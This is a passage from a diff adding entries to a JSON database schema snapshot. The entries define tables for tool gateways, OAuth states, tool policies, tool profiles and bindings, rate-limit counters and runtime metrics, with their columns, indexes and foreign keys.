+        "tool_mcp_gateways_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateways_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_profile_id_tool_profiles_id_fk": {
+          "name": "tool_mcp_gateways_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_project_id_projects_id_fk": {
+          "name": "tool_mcp_gateways_project_id_projects_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_approval_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_approval_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "approval_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_oauth_states": {
+      "name": "tool_oauth_states",
+      "schema": "",
+      "columns": {
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "code_verifier": {
+          "name": "code_verifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_id": {
+          "name": "created_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_session_id": {
+          "name": "created_by_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_scopes": {
+          "name": "requested_scopes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_to": {
+          "name": "return_to",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_oauth_states_company_idx": {
+          "name": "tool_oauth_states_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_connection_idx": {
+          "name": "tool_oauth_states_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_actor_idx": {
+          "name": "tool_oauth_states_actor_idx",
+          "columns": [
+            {
+              "expression": "created_by_actor_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_actor_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_expires_at_idx": {
+          "name": "tool_oauth_states_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_oauth_states_company_id_companies_id_fk": {
+          "name": "tool_oauth_states_company_id_companies_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_oauth_states_connection_id_tool_connections_id_fk": {
+          "name": "tool_oauth_states_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_policies": {
+      "name": "tool_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_type": {
+          "name": "policy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "selectors": {
+          "name": "selectors",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_policies_company_enabled_idx": {
+          "name": "tool_policies_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_type_idx": {
+          "name": "tool_policies_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_name_uq": {
+          "name": "tool_policies_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_policies_company_id_companies_id_fk": {
+          "name": "tool_policies_company_id_companies_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_policies_created_by_agent_id_agents_id_fk": {
+          "name": "tool_policies_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_bindings": {
+      "name": "tool_profile_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_bindings_company_target_idx": {
+          "name": "tool_profile_bindings_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_bindings_target_profile_uq": {
+          "name": "tool_profile_bindings_target_profile_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_bindings_company_id_companies_id_fk": {
+          "name": "tool_profile_bindings_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_bindings_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_created_by_agent_id_agents_id_fk": {
+          "name": "tool_profile_bindings_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_entries": {
+      "name": "tool_profile_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selector_type": {
+          "name": "selector_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect": {
+          "name": "effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'include'"
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_entries_company_profile_idx": {
+          "name": "tool_profile_entries_company_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_application_idx": {
+          "name": "tool_profile_entries_application_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_connection_idx": {
+          "name": "tool_profile_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_catalog_entry_idx": {
+          "name": "tool_profile_entries_catalog_entry_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "catalog_entry_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_entries_company_id_companies_id_fk": {
+          "name": "tool_profile_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_entries_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_profile_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_profile_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profiles": {
+      "name": "tool_profiles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_key": {
+          "name": "profile_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "default_action": {
+          "name": "default_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'deny'"
+        },
+        "new_tools_reviewed_at": {
+          "name": "new_tools_reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profiles_company_status_idx": {
+          "name": "tool_profiles_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_key_uq": {
+          "name": "tool_profiles_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_name_uq": {
+          "name": "tool_profiles_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profiles_company_id_companies_id_fk": {
+          "name": "tool_profiles_company_id_companies_id_fk",
+          "tableFrom": "tool_profiles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_rate_limit_counters": {
+      "name": "tool_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "remaining": {
+          "name": "remaining",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_rate_limit_counters_company_idx": {
+          "name": "tool_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_rate_limit_counters_window_uq": {
+          "name": "tool_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_rate_limit_counters_policy_id_tool_policies_id_fk": {
+          "name": "tool_rate_limit_counters_policy_id_tool_policies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "tool_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_metric_counters": {
+      "name": "tool_runtime_metric_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bucket_start_at": {
+          "name": "bucket_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_metric_counters_company_metric_idx": {
+          "name": "tool_runtime_metric_counters_company_metric_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_metric_counters_bucket_uq": {
+          "name": "tool_runtime_metric_counters_bucket_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_metric_counters_company_id_companies_id_fk": {
+          "name": "tool_runtime_metric_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_metric_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_slots": {
+      "name": "tool_runtime_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
